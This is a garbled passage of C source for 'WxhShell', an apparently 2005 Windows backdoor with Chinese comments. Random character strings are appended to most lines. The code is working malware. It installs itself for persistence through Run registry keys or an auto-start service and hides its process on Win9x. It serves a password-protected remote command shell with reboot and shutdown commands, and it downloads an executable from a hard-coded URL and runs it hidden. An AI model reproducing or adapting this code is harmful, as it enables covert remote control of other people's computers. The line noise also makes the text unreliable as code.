ULONG UniqueProcessId; Q>$lf.)
ULONG InheritedFromUniqueProcessId; 1ni72iz\
} PROCESS_BASIC_INFORMATION; ur E7ZKdI
H5#]MOAP
PROCNTQSIP NtQueryInformationProcess; J5{
Wuo:PX'/9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #'},/Lm@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qO38vY){
BQ<\[H;
HANDLE hProcess; ?(U;T!n
PROCESS_BASIC_INFORMATION pbi; JU;`c>8=)
@ ;@~=w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -T;^T1
if(NULL == hInst ) return 0; #?+[|RS|
FZ}^)u}o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K2e68GU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `mW~ {)x
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @U3z@v]s(h
AbhR*
if (!NtQueryInformationProcess) return 0; {qlcTc
}ng?Ar[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T`pDjT
if(!hProcess) return 0; x_I*6?
#_x5-?3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xn?.Od(
`1n^~
CloseHandle(hProcess); E%;$vj'2
!Yr9N4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,;5%&T
if(hProcess==NULL) return 0; mn=b&{')e
mA$86 X_
HMODULE hMod; 1=5HQ~|[TO
char procName[255]; Z9NND
unsigned long cbNeeded; 3bXfR,U
7.Z-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DA iS|x
<,0/BMz
CloseHandle(hProcess); v&(=^A\eN
>&:}L%
if(strstr(procName,"services")) return 1; // 以服务启动 L1I1SFG
]cv|dc=
return 0; // 注册表启动 Z*f%R\u
} bcvm]aPu
Itv cN
// 主模块 [&4+
<Nl'
int StartWxhshell(LPSTR lpCmdLine) '_V9FWDZ
{ lyFlJm i,r
SOCKET wsl; ~OsLbz:
BOOL val=TRUE; %o4v} mzV
int port=0; uYWgNNxdmo
struct sockaddr_in door; }y+Qj6dP
ZA. SX|m
if(wscfg.ws_autoins) Install(); 1ig*Xp[
BfCM\ij
port=atoi(lpCmdLine); ,`Z4fz:
gE$Uv*Gj
if(port<=0) port=wscfg.ws_port; rr2!H%:
<`"
WSADATA data; z/h]Jos
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GDC@s<[k
@[?ZwzY:9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iZiT/#, H2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EI*~VFx
door.sin_family = AF_INET; P
qC#[0Qy
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +jZa A/
door.sin_port = htons(port); ;,6C&|n]w
-0<vmU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [;7zg@Sa
closesocket(wsl); 4i{Xs5zk
return 1; <9
^7r J
} G1w$lc
AaxQBTB
if(listen(wsl,2) == INVALID_SOCKET) { ubfh4
closesocket(wsl); ^^7@khmNl
return 1; mD.6cV
} {]8|\CcY?
Wxhshell(wsl); (y6q}#<
WSACleanup(); -`{W~yz
h!JyFc
return 0; %AtT(G(n
L7aVj&xM
} s@iY'11
l1lYb;C
// 以NT服务方式启动 ; U7P{e05
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IO9|o!&>
{ :L+xEL
DWORD status = 0; Rc{R^5B
DWORD specificError = 0xfffffff; a%U#PF6
6,jCO@!
serviceStatus.dwServiceType = SERVICE_WIN32; (B$>o.(JA
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Y$"m*0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T(Q ~b
serviceStatus.dwWin32ExitCode = 0; dmXfz D
serviceStatus.dwServiceSpecificExitCode = 0; wT- <#+L\
serviceStatus.dwCheckPoint = 0; =H23eOS_#
serviceStatus.dwWaitHint = 0; ](Wa:U}Xs
2]9
2J
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |n tWMm:(
if (hServiceStatusHandle==0) return; ^7? WR?!
_V1:'T8
status = GetLastError(); GRYw_}Aa
if (status!=NO_ERROR) w{dRf!b69
{ M&hNkJK*G
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'R'hRMD9o
serviceStatus.dwCheckPoint = 0; O9d"Z$~n=j
serviceStatus.dwWaitHint = 0; <`=Kt[_BQ
serviceStatus.dwWin32ExitCode = status; VVAc bAGJ
serviceStatus.dwServiceSpecificExitCode = specificError; HBvyX`-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =v::N\&
return; .TdFI"Yn
} Ri`6X_xU
Mb[4_Dc
serviceStatus.dwCurrentState = SERVICE_RUNNING; @$^4Av-
serviceStatus.dwCheckPoint = 0; $ .$nv~f
serviceStatus.dwWaitHint = 0; 5EVypw?]x
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hZ>m:es
} KWjhkRK4]
g9JZ#B gZ
// 处理NT服务事件,比如:启动、停止 <EgJm`V
VOID WINAPI NTServiceHandler(DWORD fdwControl) {_*G"A 9
{ 1;c># 20
switch(fdwControl) C{^I}p
{ R!"|~OO
case SERVICE_CONTROL_STOP: ,9jk<)m]L
serviceStatus.dwWin32ExitCode = 0; "u4x#7n|
serviceStatus.dwCurrentState = SERVICE_STOPPED; xrBM`Bj0@
serviceStatus.dwCheckPoint = 0; Kf[.@_TD<1
serviceStatus.dwWaitHint = 0; q'+ARW48
{ T-STM"~%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DMsqTB`
} -hm/lxyU
return; -(WRhBpw
case SERVICE_CONTROL_PAUSE: ?.F^Oi6
u
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,4'y(X<R
break; 8]vut{
case SERVICE_CONTROL_CONTINUE: !LpjTMYs
serviceStatus.dwCurrentState = SERVICE_RUNNING; @J5TDq @
break; PPySOkmS3
case SERVICE_CONTROL_INTERROGATE: .-T P1C
break; r0[<[jEh
}; 8N"WKBj|_d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \MmOI<Hd-
} eHs38X
T{^mh(3/"
// 标准应用程序主函数 Qb)c>r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :NWIUN
{ /*BU5
GT]>
// 获取操作系统版本 oxeu%wj_
OsIsNt=GetOsVer(); AhA&=l
i;
GetModuleFileName(NULL,ExeFile,MAX_PATH); +HUy,@^Pa
B/@LE{qUn
// 从命令行安装 XgnNYy6W
if(strpbrk(lpCmdLine,"iI")) Install(); LprGsqr:
3w |5%`
// 下载执行文件 )7+z/y+[n
if(wscfg.ws_downexe) { hO3
q|SL
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $)KODI>|
WinExec(wscfg.ws_filenam,SW_HIDE); YRBJ(v"9
} -R]~kGa6m<
PIo@B|W-SX
if(!OsIsNt) { =8*ru\L:hr
// 如果时win9x,隐藏进程并且设置为注册表启动 g|3bM
HideProc(); sxRKWM@4
StartWxhshell(lpCmdLine); GJQ>VI2cY
} fDW:|%{Y,
else ]ke9ipj]:
if(StartFromService()) /8l@ndZf
// 以服务方式启动 ST[TKL<]
StartServiceCtrlDispatcher(DispatchTable); S!$S'{f<
else y5aPs z
// 普通方式启动 pT~3<
,
StartWxhshell(lpCmdLine); H}G 9gi
:8/ 6dx@Y(
return 0; rX5"p!z
} }vY^eOK.
uZ3do|um
z(%tu
#7'k'(
=========================================== ~&ns?z>x
/E\04Bs
(*6 .-Xn
2-Q5l*
zd$?2y8
Hu6Qr
" .IY@Q
ey9hrRMR
#include <stdio.h> Vfk"}k/do
#include <string.h> J[Mj8ee#
#include <windows.h> Ev3'EA~`
#include <winsock2.h> C:^
:^y
#include <winsvc.h> $]};EI#
#include <urlmon.h> SKNHLE}
Rsq EAdZw[
#pragma comment (lib, "Ws2_32.lib") kjsj~jwvv
#pragma comment (lib, "urlmon.lib") owA8hGF
C<9GdN
#define MAX_USER 100 // 最大客户端连接数 +p jB/#4
#define BUF_SOCK 200 // sock buffer J> ,w},`
#define KEY_BUFF 255 // 输入 buffer VrfEa d
?Q"<AL>Z
#define REBOOT 0 // 重启 (X5y%~;V5a
#define SHUTDOWN 1 // 关机 {2T u_2>
)l
m7ly8a|
#define DEF_PORT 5000 // 监听端口 L..
~J~R.r/
#define REG_LEN 16 // 注册表键长度 ?F$ #t6Q
#define SVC_LEN 80 // NT服务名长度 G;wh).jG5
NCzabl
// 从dll定义API @@\px66
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HRbv%
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kiyKL:6D|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #Q["[}flVv
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "O$WfpKX
OIw[sum2
// wxhshell配置信息 Ce}m$k
struct WSCFG { VE*`Ji
int ws_port; // 监听端口 tQT<1Q02i
char ws_passstr[REG_LEN]; // 口令 H<ovIMd
int ws_autoins; // 安装标记, 1=yes 0=no
IaRwPDj6
char ws_regname[REG_LEN]; // 注册表键名 F|!=]A<
char ws_svcname[REG_LEN]; // 服务名 9mXmghoCO
char ws_svcdisp[SVC_LEN]; // 服务显示名 vyWx{@
char ws_svcdesc[SVC_LEN]; // 服务描述信息 jz;{,F
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FwB xag:u
int ws_downexe; // 下载执行标记, 1=yes 0=no >jTiYJI_M
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rc>}3?o
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tyaqa0
@m%B>X28F
}; !UPB4I
NW;_4g4qE
// default Wxhshell configuration >b0Bvx-
struct WSCFG wscfg={DEF_PORT, />:$"+gKo
"xuhuanlingzhe", n.NWS/v_{
1, r7}KV| M
"Wxhshell", GJE+sqMX1
"Wxhshell", e8:O2!HW
"WxhShell Service", @44*<!da
"Wrsky Windows CmdShell Service", (yuOY/~k/
"Please Input Your Password: ", |cuKC \
1, 0d:t=LKw)
"http://www.wrsky.com/wxhshell.exe", :wRfk*Ly
"Wxhshell.exe" sD?Ynpt
}; %cDTq&Q
Si23w'T
// 消息定义模块 9)=bBQyr:
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vx5fQ mx
char *msg_ws_prompt="\n\r? for help\n\r#>"; dikX_ Q>D
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tp!eF"v=
char *msg_ws_ext="\n\rExit."; Q
(gA:aQ
char *msg_ws_end="\n\rQuit."; (NfB+Ue}
char *msg_ws_boot="\n\rReboot..."; g co;8e_
char *msg_ws_poff="\n\rShutdown..."; n,-*$~{
char *msg_ws_down="\n\rSave to "; Mkt_pr
%M8Q6
char *msg_ws_err="\n\rErr!"; 6kR3[]:16v
char *msg_ws_ok="\n\rOK!"; 6q0)/|,@
H0lW gJmi|
char ExeFile[MAX_PATH];
OU]"uV<(
int nUser = 0; >bhF{*t#;y
HANDLE handles[MAX_USER]; h?4EVOx+
int OsIsNt; TL$w~dY
`RU RC"
SERVICE_STATUS serviceStatus; &E!m(|6?+
SERVICE_STATUS_HANDLE hServiceStatusHandle; $5\sV4 8f
~K|ha26W
// 函数声明 '@.Lg0`
int Install(void); j3+ hsA/(k
int Uninstall(void); ;.$vDin6
int DownloadFile(char *sURL, SOCKET wsh); 4wEkxCWp/
int Boot(int flag); \oGU6h<
void HideProc(void); Iv9U4
int GetOsVer(void); 9-1'jNV
int Wxhshell(SOCKET wsl); *h5L1Eq
void TalkWithClient(void *cs); ;8e}X6YU
int CmdShell(SOCKET sock); %g>k0~TRf#
int StartFromService(void); Sc}Rs
int StartWxhshell(LPSTR lpCmdLine); x|^p9m"=%
YReI|{O$c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?TW? 2+
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aDLlL?r3
j2:9ahW
// 数据结构和表定义 ?wIEXKI
SERVICE_TABLE_ENTRY DispatchTable[] = s6;ZaU
{ tdu:imH~
{wscfg.ws_svcname, NTServiceMain}, A+\rGVNH'S
{NULL, NULL} /a-s9<
}; 3aU4Z|f~
!T~uxeZ/;
// 自我安装 md\Vw?PkU
int Install(void) D=5%lL
{ Gw6!cp|/
char svExeFile[MAX_PATH]; _]3#C[1L
HKEY key; nS.qK/.s
strcpy(svExeFile,ExeFile); g86^Z%c(k
-J]N
&[
// 如果是win9x系统,修改注册表设为自启动 rT4q x2 u
if(!OsIsNt) { g*4^HbVxt
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _IxYnm`pc
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !@T~m1L
eY
RegCloseKey(key); mpIR: Im
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EQHCw<e
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G-vkkNj%e
RegCloseKey(key); +^rt48${ y
return 0; !{g>g%2!
} H2+Ijn19E
} ?AI`,*^
} brqmi<*9"[
else { 6HVX4Z#VH
/;}o0
DYeW
// 如果是NT以上系统,安装为系统服务 {irl}EeyC
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bi-z%!Z
if (schSCManager!=0) CzDg?w b
{ &RHx8zScP
SC_HANDLE schService = CreateService K\lu;
( )U}`x }:,
schSCManager, bQ0+Y?,+/
wscfg.ws_svcname, 8KdcU[w]
wscfg.ws_svcdisp, 5GJa+St?
SERVICE_ALL_ACCESS, dg(sRTi{
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A*]sN8
SERVICE_AUTO_START, JRtDjZ4>
SERVICE_ERROR_NORMAL, \y7\RV>>3b
svExeFile, Oo>Uu{{
NULL, Jep/%cT$w
NULL, f/,8sGkX;
NULL, qyY/:&E, Z
NULL, n2'XWbMaL
NULL bK!uR&i^l
); hb)83mH}
if (schService!=0) [cfXcl
{ ,x[~|J!
CloseServiceHandle(schService); ob[G3rfd@Z
CloseServiceHandle(schSCManager); 5'wFZ=>vMt
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h?->A#
strcat(svExeFile,wscfg.ws_svcname); G*zhy!P
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2jP(D%n
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IG:CWPU
RegCloseKey(key); qUQP.4Z9 5
return 0; '|&?$g(\h
} r|953e
}
SmAF+d
CloseServiceHandle(schSCManager); _2}/rwVg
} _znn `_N:v
} i$!K{H1{9
U[ogtfv`m
return 1; qvJQbo[.9P
} M=5hp&=
\@
N[
// 自我卸载 3X`N~_+
int Uninstall(void) 2P|j<~JS
{ --7@rxv
HKEY key; 'f7s*VKG
Ui"3'OU'
if(!OsIsNt) { i)]^b{5nyB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9N<TJp,q
RegDeleteValue(key,wscfg.ws_regname); PiNf;b^9
RegCloseKey(key); =cx_3gCr{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lO1]P&@
RegDeleteValue(key,wscfg.ws_regname); TSRl@QVy
RegCloseKey(key); RAxp2uif
return 0; J@4 Z+l9
} StLbX?d 6
} AASS'H@
} {-)I2GJav
else { FJ|JXH*
Yjx4H
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xl(R|D))
if (schSCManager!=0) gI+dyoh
{ !qs3fe<uh"
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z)
"(&__
if (schService!=0) ~=$d>ZNQ
{ c 1{nOx
if(DeleteService(schService)!=0) { #b;TjnC5{$
CloseServiceHandle(schService); 19\
V@d^
CloseServiceHandle(schSCManager); i6:O9Km
return 0; 7{OD/*|
} a#/~rNRY
CloseServiceHandle(schService); )=#zMdK&
} Gnie|[3
CloseServiceHandle(schSCManager); 9Om3<der
} 6[a;83
} 90a!_8o
Okd7ua-f
return 1; *UdP1?Y
} p2wDk^$
)JR&
// 从指定url下载文件 =$<